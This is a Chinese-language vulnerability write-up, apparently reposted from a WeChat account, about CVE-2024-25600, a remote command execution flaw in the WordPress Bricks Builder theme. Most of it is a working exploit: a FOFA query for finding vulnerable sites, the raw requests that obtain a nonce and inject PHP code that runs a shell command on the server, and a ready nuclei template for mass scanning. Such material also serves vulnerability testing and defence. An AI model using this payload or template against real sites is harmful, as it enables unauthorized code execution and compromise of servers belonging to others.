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漏洞描述

WordPress的Bricks Builder <= 1.9.6主题存在远程命令执行漏洞CVE-2024-25600

fofa语句

body="/wp-content/themes/bricks/"

漏洞复现

访问获取nonce值

GET / HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate

使用获取到的nonce值，构造payload发包

POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
Connection: close
Content-Length: 358
Content-Type: application/json
Accept-Encoding: gzip, deflate

{
  "postId": "1",
  "nonce": "第一步获取到的值",  
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
}

nuclei批量验证

id: WordPress-RCE-CVE-2024-25600

info:
  name: WordPress的Bricks主题存在远程命令执行漏洞CVE-2024-25600
  author: changge
  severity: high
  description: |
    WordPress的Bricks主题存在远程命令执行漏洞CVE-2024-25600
  metadata:
    fofa-query: body="/wp-content/themes/bricks/"
  reference:
    - https://127.0.0.1
  tags: wpscan, cve, wordpress, wp, wp-plugin


http:
  - raw:
      - |
        GET / HTTP/2
        Host: {{Hostname}}

      - |
        POST /wp-json/bricks/v1/render_element HTTP/2
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "postId": "1",
          "nonce": "{{nonce}}",  
          "element": {
            "name": "container",
            "settings": {
              "hasLoop": "true",
              "query": {
                "useQueryEditor": true,
                "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
                "objectType": "post"
              }
            }
          }
        }

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'nonce":"([0-9a-z]+)'
        internal: true

    matchers:
      - type: word
        words:
          - "Exception:"
          - "uid"
        part: body_2

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（AY长歌）：WordPress的Bricks主题存在远程命令执行漏洞CVE-2024-25600